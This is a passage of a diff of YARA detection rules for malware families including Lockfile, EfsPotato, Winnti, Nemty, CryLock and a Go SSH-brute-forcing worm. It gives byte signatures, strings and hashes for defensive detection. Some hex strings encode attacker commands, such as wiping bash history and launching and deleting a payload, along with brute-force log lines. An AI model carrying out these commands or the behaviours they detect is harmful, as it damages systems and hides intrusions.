48 89 f1 31 d2 45 31 c0 45 31 c9 ff 15 53 59 01 00 85 } + $s4 = { c6 00 00 48 ff c0 48 83 ec 20 48 89 f9 48 89 c2 ff 15 8e 19 01 00 48 8d 15 a9 cd 01 00 48 89 d9 ff 15 86 19 01 00 48 89 d9 ff 15 55 19 01 00 48 } + $s5 = "Global\\APCI#" fullword wide + $s6 = "uGlobal\\HVID_" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and all of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 20KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Loader_Lockfile_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Stashlog_Sep_2021_1 : FILE { meta: - description = "Detect loader used by lockerfile group" + description = "Detect Stashlog malware" author = "Arkbird_SOLG" - id = "031335f3-e6c7-5e94-af23-c7fb254203b7" - date = "2021-08-28" - modified = "2021-08-29" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/MAL_loader_Lockfile_Aug_2021_1.yara#L1-L16" + id = "a6ae59df-c45a-5a31-8530-4fd7f0f33f93" + date = "2021-09-01" + modified = "2021-09-05" + reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_Stashlog_Sep_2021_1.yara#L1-L21" license_url = "N/A" - logic_hash = "622a673d5cb9832cf0abc9942bf0e1f64bcdbd99524dea0bd64698fffa815a9b" - score = 75 + logic_hash = "6bde398a0f13674e72fcbd9809d22773bc1fe699f7c187775740d50910b07d5b" + score = 50 quality = 75 tags = "FILE" - hash1 = "ed834722111782b2931e36cfa51b38852c813e3d7a4d16717f59c1d037b62291" - adversary = "Lockfile" + hash1 = "720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397" + hash2 = "869165044402a5f82f4cb8ddd51663ebb05f86345f346f765dcc54b20706cf7c" + level = "experimental" + tlp = "White" + adversary = "-" strings: - $s1 = "c:\\windows\\system32\\calc.exe" fullword ascii - $s2 = { 49 48 85 c0 7f ec eb 0a 33 c9 66 89 0c 45 [2] 01 10 68 [2] 00 10 68 [2] 01 10 ff 15 [2] 00 10 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 68 00 00 00 80 68 [2] 01 10 ff 15 [2] 00 10 83 f8 ff 75 08 6a 00 ff 15 [2] 00 10 50 ff 15 [2] 00 10 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc } - $s3 = "/proc/123/stat" fullword ascii - $s4 = { 33 c5 89 45 fc a1 [2] 00 10 8b 15 [2] 00 10 8b 0d [2] 00 10 56 89 45 dc 66 a1 [2] 00 10 57 89 55 e4 89 4d e0 8a 0d [2] 00 10 66 89 45 e8 33 c0 8d 55 dc 68 [2] 00 10 52 bf [2] 00 10 88 4d ea 89 45 eb 89 45 ef 89 45 f3 89 45 f7 88 45 fb e8 [2] 00 00 8b f0 83 c4 08 85 f6 74 44 8d 64 24 00 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 29 83 f8 28 75 ed 56 e8 [2] 00 00 83 c4 04 83 f8 ff 74 16 0f be 0f 3b c1 75 0f 56 47 e8 [2] 00 00 83 c4 04 83 f8 ff 75 ea 56 e8 [2] 00 00 83 c4 04 6a 00 ff 15 } + $s1 = "497E724A7BA2764BB4570B225601FB693A796873E7847DB943F7FE9E7281C91A443DF1F8519CBB25FC736CC65BF3DE67A82E704BEB698E17" fullword ascii + $s2 = { 50 83 ec 0c 89 e0 31 c9 89 48 04 89 08 89 48 0c 89 48 08 50 ff 15 1c b2 42 00 c7 05 38 ac 44 00 01 00 00 00 50 83 ec 0c 89 e7 81 ec 04 01 00 00 31 c0 89 e3 89 47 04 89 07 89 47 0c 89 47 08 57 ff 15 1c b2 42 00 ff 25 64 5f 43 00 ff 25 6c 5f 43 00 0f b6 4f 0e 0f b6 47 0f 0f b6 57 0d 89 4d dc 0f b6 4f 0c 89 45 d8 89 55 e0 89 4d e4 ff 25 7c 5f 43 00 8b 4d f0 31 f6 46 31 e9 e8 94 48 01 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 ff 25 34 5f 43 00 0f 10 05 08 30 43 00 0f 10 0d 18 30 43 00 a0 28 30 43 00 8a 15 29 30 43 00 8a 0d 2a 30 43 00 0f 57 05 80 b2 42 00 0f 57 0d 90 b2 42 00 34 e9 80 f2 10 80 f1 b3 0f 11 } + $s3 = { 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 31 c0 66 c7 84 24 ae 00 00 00 3a 00 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 ff 25 e8 a9 43 00 89 c7 31 c0 83 ff ff 0f 94 c0 ff 24 85 ec a9 43 00 c7 44 24 1c 00 00 00 00 ff 25 28 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f 29 44 24 60 0f 29 44 24 50 0f 29 44 24 40 0f 29 44 24 30 ff 25 30 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f } + $s4 = { a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 ff 25 68 1f 44 00 89 cb ff 25 70 1f 44 00 31 c9 85 c0 8b 06 8b 5e 0c 0f } + $s5 = { 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 89 c6 ff 25 70 b7 43 00 ff 37 ff 15 0c b0 42 00 8b 4d f0 31 e9 e8 a9 f6 00 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 ff 25 48 b7 43 00 55 } condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 20KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_Tool_Efspotatoe_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Winnti_Elfx64_Aug_2020_1 : FILE { meta: - description = "Detect custom .NET variant EFSPotatoe tool" + description = "Detect of ELF implant used by APT Winnti in August 2020" author = "Arkbird_SOLG" - id = "614a6543-89ce-5f75-9933-766fd1e5458b" - date = "2021-08-27" - modified = "2021-08-29" - reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-29/Lockfile/Tool_EFSPotatoe_Aug_2021_1.yara#L1-L19" + id = "112e8d60-cbcb-53a7-b458-d39ee03d5c22" + date = "2020-08-18" + modified = "2020-08-18" + reference = "https://twitter.com/KorbenD_Intel/status/1295725146037133312" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-18/Winnti/APT_Winnti_ELFx64_Aug_2020_1.yar#L1-L34" license_url = "N/A" - logic_hash = "a9fed543aeaba380688ec59034b0e8c90fc0bea986085958966101bd44cf480f" + logic_hash = "ebe6e60c45336476fd91c4185eee0414c3eba83960301a610b69c8818dbb17fd" score = 75 - quality = 75 + quality = 36 tags = "FILE" - hash1 = "c372c54b11465688201e2d48ffd5fd5b0ca49360858a70ce8413f5c9e24c8050" - hash2 = "441cb0576151b2e5b5127be72a5bcdf3577a596f0a4e1f2c6836248fe07eb818" - adversary = "Lockfile" + hash1 = "6af8b3d31101f48911b13e49c660c10ed1d26b60267e8037d2ac174fc0d2f36c" strings: - $s1 = { 5c 00 70 00 69 00 70 00 65 00 5c 00 6c 00 73 00 61 00 72 00 70 00 63 } - $s2 = "ncacn_np" fullword wide - $s3 = "WinSta0\\Default" fullword wide - $s4 = { 11 00 72 cc 01 00 70 28 06 00 00 0a 00 dd de 02 00 00 00 de 12 07 14 fe 01 13 0f 11 0f 2d 07 07 6f 0f 00 00 0a 00 dc 00 28 10 00 00 0a 13 10 12 10 72 16 02 00 70 28 11 00 00 0a 0d 72 1a 02 00 70 09 72 2e 02 00 70 28 12 00 00 0a 13 04 11 04 19 16 1f 0a 20 00 08 00 00 20 00 08 00 00 16 7e 0d 00 00 0a 28 06 00 00 06 13 05 11 05 15 73 13 00 00 0a 28 14 00 00 0a 16 fe 01 13 0f 11 0f 2d 25 00 72 48 02 00 70 28 0e 00 00 0a 73 15 00 00 0a 6f 16 00 00 0a 28 0a 00 00 0a 28 06 00 00 0a 00 38 4a 02 00 00 16 73 17 00 00 0a 13 06 14 fe 06 04 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 07 11 07 17 6f 1a 00 00 0a 00 11 07 18 8d 01 00 00 01 13 11 11 11 16 11 05 8c 15 00 00 01 a2 11 11 17 11 06 a2 11 11 6f 1b 00 00 0a 00 14 fe 06 03 00 00 06 73 18 00 00 0a 73 19 00 00 0a 13 08 11 08 17 6f 1a 00 00 0a 00 11 08 09 6f 1b 00 00 0a 00 11 06 20 e8 03 00 00 6f 1c 00 00 0a 16 fe 01 13 0f 11 0f 3a 93 01 00 00 00 11 05 28 08 00 00 06 16 fe 01 13 0f 11 0f 3a 7c 01 00 00 00 28 08 00 00 0a 6f 0b 00 00 0a 13 09 72 7c 02 00 70 11 09 8c 15 00 00 01 28 1d 00 00 0a 28 06 00 00 0a 00 12 0a fe 15 08 00 00 02 12 0a 11 0a 28 02 00 00 2b 7d 1d 00 00 04 12 0a 7e 0d 00 00 0a 7d 1e 00 00 04 12 0a 17 7d 1f 00 00 04 12 0b 12 0c 12 0a 20 00 04 00 00 28 0b 00 00 06 26 12 0d fe 15 06 00 00 02 12 0e fe 15 07 00 00 02 12 0e 11 0e 28 03 00 00 2b 7d 0b 00 00 04 12 0e 11 0c 7d 1c 00 00 04 12 0e 11 0c 7d 1b 00 00 04 12 0e 72 9c 02 00 70 7d 0d 00 00 04 12 0e 20 01 01 00 00 7d 16 00 00 04 12 0e 16 7d 17 00 00 04 } - $s5 = "EfsPotato <cmd>" wide - $s6 = "\\\\.\\pipe\\" wide + $lib1 = "/usr/bin/python2.7" fullword ascii + $lib2 = "libxselinux" fullword ascii + $c1 = "/cmdlineH" fullword ascii + $c2 = "/proc/%d/fd/%s" fullword ascii + $c3 = "/proc/self/exe" fullword ascii + $c4 = "__gmon_start__" fullword ascii + $c5 = "_ITM_registerTMCloneTable" fullword ascii + $c6 = "_ITM_deregisterTMCloneTable" fullword ascii + $d1 = "/usr/bin/netstat" fullword ascii + $d2 = "/var/run/libudev.pid" fullword ascii + $d3 = "/sbin/ifup-local" fullword ascii + $s1 = "EAEC2CA4-AF8D-4F61-8115-9EC26F6BF4E1" fullword ascii + $s2 = "readdir64" fullword ascii + $s3 = ".note.gnu.gold-version" fullword ascii + $s4 = ".note.gnu.build-id" fullword ascii + $s5 = ".eh_frame_hdr" fullword ascii + $s6 = "xlstat" fullword ascii + $s7 = "1YZ[\\<@nYSLRR]H_PGX[XmYXGFrstuvwxyz{|}~" fullword ascii + $info1 = "check_is_our_proc_dir" fullword ascii + $info2 = "get_our_sockets" fullword ascii + $info3 = "is_invisible_with_pids" fullword ascii + $info4 = "check_if_number" fullword ascii + $info5 = "get_our_pids" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 10KB and 5 of ( $s* ) + uint16( 0 ) == 0x457f and filesize < 15KB and ( 1 of ( $lib* ) and 4 of ( $c* ) and 2 of ( $d* ) and 4 of ( $s* ) and 3 of ( $info* ) ) } -rule ARKBIRD_SOLG_APT_APT28_Downdelph_Feb_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Nemty_June_2021_1 : FILE { meta: - description = "Detect Downdelph used by APT28 group" + description = "Detect Nemty ransomware" author = "Arkbird_SOLG" - id = "0376c026-93eb-526a-8ab3-26bdd365e608" - date = "2021-02-18" - modified = "2021-02-19" - reference = "https://twitter.com/RedDrip7/status/1362343352759250946" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-18/APT28/APT_APT28_Downdelph_Feb_2021_1.yar#L1-L18" + id = "1c7994b8-7479-5679-91a5-e3ca4b2e7fde" + date = "2021-06-12" + modified = "2021-06-13" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-12/Nemty/RAN_Nemty_June_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "15e38ceeb0410645938ce2f90becf9a344711efd6e539f304de7b413f6f3b420" + logic_hash = "25a9e82ae1e950e1c71d6dfa120efd1a2ba39cbf8e9c2cd4ba4e67ce7dabc45e" score = 75 quality = 75 tags = "FILE" - hash1 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b" + hash1 = "45e35c9b095871fbc9b85afff4e79dd36b7812b96a302e1ccc65ce7668667fe6" + hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390" + hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3" + tlp = "white" + adversary = "RAAS" strings: - $s1 = { 53 [1-3] 81 c4 [2] ff ff 8b f2 8b ?? 54 8d 44 24 08 50 68 04 01 00 00 8b ?? e8 [12-22] 8d 54 24 04 8b c6 [73-133] 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 0c 89 01 89 51 04 8b 45 f0 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 10 89 01 89 51 04 8b c3 5b 8b e5 5d } - $s2 = "cmd.exe /c " fullword ascii - $s3 = "Failed to Save Stream %s is already associated with %s=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide - $s4 = { 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4b 00 65 00 79 00 62 00 6f 00 61 00 72 00 64 00 20 00 4c 00 61 00 79 00 6f 00 75 00 74 00 73 00 5c 00 25 00 2e 00 38 00 78 } - $s5 = { 4a 00 50 00 45 00 47 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 23 00 25 00 64 } - $s6 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 } + $s1 = { 83 f8 1a 0f 8d [2] 00 00 [0-1] 89 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [1-15] 00 00 00} + $s2 = { 5a 4c 49 42 00 00 00 00 00 00 01 ?? 78 01 54 8f [3] 40 [2] cf } + $s3 = { 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [12-25] 00 81 } + $s4 = { ff ff [0-1] 8d 05 [3] 00 [0-1] 89 04 24 [0-1] c7 44 24 ?? 02 00 00 00 e8 [2] ff ff e8 [2] ff ff [0-1] 8b 4c 24 } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of them + uint16( 0 ) == 0x5a4d and filesize > 500KB and all of ( $s* ) } -rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_ELF_Go_Worm_Jul_2021_1 : FILE { meta: - description = "Detect Gelsenicine malware (Loader - Variant 1)" + description = "Detect the worm written in Go that drops XMRig Miner" author = "Arkbird_SOLG" - id = "36276150-a5dd-5385-9e50-958a6fa54de5" - date = "2021-06-12" - modified = "2021-06-14" - reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_1.yara#L1-L19" + id = "6f4a9d3a-e038-5d7f-9c18-c380a0b295d2" + date = "2021-07-06" + modified = "2021-07-06" + reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-06/MAL_ELF_Go_Worm_Jul_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "66d9fad7105b46a55db11c5224b1a395793f2dee89f779d59c80b2f7cda5a115" + logic_hash = "be8b95f8aab62d3a2b3376a0481ebc609afcd089e0613d39f258e07366b708a1" score = 75 - quality = 75 + quality = 61 tags = "FILE" - hash1 = "97982e098a4538d05e78c172c9bbc5b412754df86dc73e760004f0038ec928fb" - hash2 = "46338cae732ee1664aac77d9dce57c4ff8666460c1a51bee49cae44c86e42df9" - hash3 = "f0d23aa026ae6ba96051401dc2b390ba5c968d55c2a4b31a36e45fb67dfc2e3c" - tlp = "white" - adversary = "Gelsemium" + hash1 = "774ccd1281b02bc9f0c7e7185c424a42cd98bcc758c893e8a96dfb206a02fcbe" + hash2 = "bea5a4358184555924ab6c831bf34edf279f4b93d750d5321263439dcf9c245a" + tlp = "White" + adversary = "-" strings: - $s1 = { b8 [3] 74 e8 [2] 00 00 81 ec bc 03 00 00 53 56 57 be [3] 74 8d bd 38 fc ff ff 6a 1b a5 a5 a5 a5 66 a5 59 33 c0 8d bd 4a fc ff ff be [3] 74 f3 ab 66 ab 8d bd b8 fc ff ff 6a 1c a5 a5 a5 a5 59 33 c0 8d bd c8 fc ff ff 6a 07 f3 ab 59 be [3] 74 8d bd 38 fd ff ff 6a 18 f3 a5 66 a5 8b 5d 0c 59 8d bd 56 fd ff ff 83 65 cc 00 f3 ab 66 ab 8a 03 6a 00 8d 4d e0 c7 45 c0 24 00 00 00 c7 45 c4 25 00 00 00 c7 45 c8 23 00 00 00 88 45 e0 ff 15 [3] 74 a1 [3] 74 8d 4d e0 ff 30 6a 00 53 ff 15 [3] 74 8a 45 0f 6a 00 8d 4d d0 c7 45 fc 01 00 00 00 88 45 d0 ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8d 4d d0 ff 15 [3] 74 8b 55 d4 8b 0d [3] 74 85 d2 c6 45 fc 02 75 02 8b d1 8b 43 04 85 c0 75 02 8b c1 ff 75 d8 52 50 ff 15 [3] 74 83 c4 0c 85 c0 0f 85 d9 00 00 00 8d 85 b8 fd ff ff 50 68 04 01 00 00 ff 15 [3] 74 8d 85 b8 fd ff ff 50 ff d6 85 c0 59 0f 84 b5 00 00 00 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 2f 59 74 56 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 5c 59 74 41 8d 4d e0 ff 15 [3] 74 8b 7d e4 8b 5d d8 8d 4d e0 ff 15 [3] 74 8b 45 e4 89 45 f0 8d 85 b8 fd ff ff 50 ff d6 59 8d 84 45 b8 fd ff ff 50 8d 85 b8 fd ff ff 50 8d 44 5f fe 50 ff } - $s2 = { ff 75 0c 89 45 f0 ff d6 50 ff 75 0c ff 75 f0 ff 15 [3] 74 83 c4 10 85 c0 } - $s3 = "pluginkey" fullword wide - $s4 = { 55 8b ec 51 33 c0 56 f6 05 [3] 74 01 89 45 fc 0f 85 c6 00 00 00 8a 4d 0b 80 0d [3] 74 01 53 bb [3] 74 57 88 0d [3] 74 50 8b cb ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 68 [2] e2 74 e8 [2] 00 00 59 5f 33 c0 5b 8b 75 08 8a 4d 0b 68 [3] 74 68 [3] 74 88 0e 50 8b ce 89 46 04 89 46 08 89 46 0c e8 [2] 00 00 8b c6 5e } + $s1 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 43 68 65 63 6b 20 49 50 28 25 73 29 20 77 69 74 68 20 53 53 48 20 70 6f 72 74 20 69 73 20 6f 70 65 6e 2e 2e 2e } + $s2 = { 63 61 74 20 2f 64 65 76 2f 6e 75 6c 6c 20 3e 20 7e 2f 2e 62 61 73 68 5f 68 69 73 74 6f 72 79 20 26 26 20 68 69 73 74 6f 72 79 20 2d 63 } + $s3 = { 6e 6f 68 75 70 20 2e 2f 25 73 20 26 3e 20 6d 79 73 71 6c 6c 6f 67 73 20 26 } + $s4 = { 72 6d 20 2d 66 20 25 73 20 6d 79 73 71 6c 6c 6f 67 73 } + $s5 = { 63 6f 6d 6d 61 6e 64 20 2d 76 20 62 61 73 68 } + $s6 = { 53 74 6f 70 20 62 72 75 74 65 20 6f 6e 2c 20 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 3a 20 44 55 52 41 54 49 4f 4e 3a 20 25 66 } + $s7 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 } condition: - uint16( 0 ) == 0x5a4d and filesize > 15KB and 3 of ( $s* ) + uint32( 0 ) == 0x464c457f and filesize > 900KB and all of ( $s* ) } -rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_2 : FILE +rule ARKBIRD_SOLG_RAN_Crylock_Oct_2020_1 : FILE { meta: - description = "Detect Gelsenicine malware (Loader - Variant 2)" + description = "Detect CryLock ransomware V2.0.0" author = "Arkbird_SOLG" - id = "c6e28da2-622b-57ba-9381-9f8f6b8879bf" - date = "2021-06-12" - modified = "2021-06-14" - reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_2.yara#L1-L19" + id = "642211e0-b5fe-5842-ab16-ca1fc8d00ac0" + date = "2020-10-14" + modified = "2020-10-15" + reference = "https://twitter.com/JAMESWT_MHT/status/1316426560803680257" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/Crylock/RAN_CryLock_Oct_2020_1.yar#L1-L31" license_url = "N/A" - logic_hash = "e1d6402c743af697c8d1b34087b6fe9db80237834d73967b0a0638023d4e4a40" + logic_hash = "5d9aae41283c5738f2e584ea8d236ae64f7615ec629f9513fddb611714ddc230" score = 75 - quality = 75 + quality = 71 tags = "FILE" - hash1 = "6eaeca0cf28e74de6cfd82d29a3c3cc30c2bc153ac811692cc41ee290d766474" - hash1 = "d986207bc108e55f4b110ae208656b415d2c5fcc8f99f98b4b3985e82b9d5e5b" - hash1 = "ec491de0e2247f64b753c4ef0c7227ea3548c2f222b547528dae0cf138eca53a" - tlp = "white" - adversary = "Gelsemium" + hash1 = "04d8109c6c78055d772c01fefe1e5f48a70f2a65535cff17227b5a2c8506b831" strings: - $s1 = { 48 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 8b d9 c7 44 24 40 00 00 00 00 8b 05 [3] 00 a8 01 0f 85 96 00 00 00 83 c8 01 89 05 [3] 00 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 48 8d 0d [2] 00 00 e8 [2] 00 00 90 48 c7 43 08 00 00 00 00 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 4c 8d 0d [3] 00 4c 8d 05 [3] 00 33 d2 48 8b cb e8 86 f9 ff ff 48 8b c3 48 83 c4 30 } - $s2 = { 54 00 65 00 6d 00 70 00 2f 00 00 00 00 00 00 00 43 00 6f 00 6d 00 6d 00 6f 00 6e 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 2f 00 00 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 2f 00 00 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f } - $s3 = { 48 8b ca e8 [3] 00 48 39 5e 08 75 05 48 8b c3 eb 08 48 8b 46 10 48 2b 46 08 3b c3 0f 4c c3 48 63 c8 e8 [3] 00 48 89 47 08 48 8b 56 10 48 8b 4e 08 4c 8b d8 eb 10 4c 3b db 74 05 8a 01 41 88 03 49 ff c3 48 ff c1 48 3b ca 75 eb 4c 89 5f 10 4c 89 5f 18 48 8b c7 48 83 c4 20 5f 5e } - $s4 = { 45 33 c9 45 33 c0 ba 80 00 00 00 48 8b ce e8 16 f2 ff ff 84 c0 74 71 48 8d 53 18 41 b8 20 00 00 00 48 8b ce e8 e4 f4 ff ff 84 c0 74 5b 48 8d 53 38 41 b8 20 00 00 00 48 8b ce e8 56 f9 ff ff 84 c0 74 45 48 8b 43 10 48 8b 0d [3] 00 48 3b c1 74 0d 48 8b d8 48 8b 00 48 3b c1 75 f5 eb 1b 48 8b 43 08 eb 07 48 8b d8 48 8b 40 08 48 3b 58 10 74 f3 48 39 43 10 48 0f } + $s1 = "All commands sended to execution" fullword ascii + $s2 = "Processesblacklist1" fullword ascii + $s3 = "Execute all" fullword ascii + $s4 = "config.txt" fullword ascii + $debug1 = "Processed files: " fullword ascii + $debug2 = "Next -->" fullword ascii + $debug3 = "Status: scan network" fullword ascii + $debug4 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 } + $debug5 = { 4a 75 6d 70 49 44 28 22 22 2c 22 25 73 22 29 } + $debug6 = { 45 6e 63 72 79 70 74 65 64 20 62 79 20 42 6c 61 63 6b 52 61 62 62 69 74 2e 20 28 [3-10] 29 } + $ran1 = "w_to_decrypt.hta" wide + $ran2 = "<%UNDECRYPT_DATETIME%>" fullword ascii + $ran3 = "<%START_DATETIME%>" fullword ascii + $ran4 = "<%MAIN_CONTACT%>" fullword ascii + $ran5 = "<%RESERVE_CONTACT%>" fullword ascii + $ran6 = "<%HID%>" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 30KB and 3 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 300KB and 3 of ( $s* ) and 4 of ( $debug* ) and 4 of ( $ran* ) } -rule ARKBIRD_SOLG_APT_Gelsemium_Gelsemine_June_2021_1 : FILE +rule ARKBIRD_SOLG_RAN_Matrix_Sep_2020_1 : FILE { meta: - description = "Detect Gelsemine malware (Dropper - Variant 1)" + description = "Detect MATRIX ransomware" author = "Arkbird_SOLG" - id = "cfe932fd-ff50-5e54-824c-e11afe8e8575" - date = "2021-06-12" - modified = "2021-06-14" - reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - source_url = 